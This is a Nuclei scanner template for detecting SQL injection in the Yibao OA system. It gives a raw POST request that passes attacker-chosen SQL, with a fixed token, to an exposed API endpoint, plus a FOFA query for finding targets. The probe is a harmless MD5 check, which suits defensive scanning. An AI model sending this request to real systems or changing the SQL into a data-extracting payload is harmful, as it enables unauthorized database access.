id: yibao-sqli

info:
  name: Yibao OA System - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: Yibao OA System is vulnerable to SQL Injection.
  metadata:
    verified: true
    max-request: 1
    fofa-query: product="顶讯科技-易宝OA系统"
  tags: yiboo,oa,sqli

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /api/system/ExecuteSqlForSingle HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)&strParameters

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data":"{{md5({{num}})}}'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008f7ff878a8bf8761fc91879fac814dd084195daaf6b8b8c81d29fb600bbf9999022016b1c3e4818e897f7d214b7e41e39271562da0dbe7e315d332569ea0f1f6dea2:922c64590222798bb761d5b6d8e72950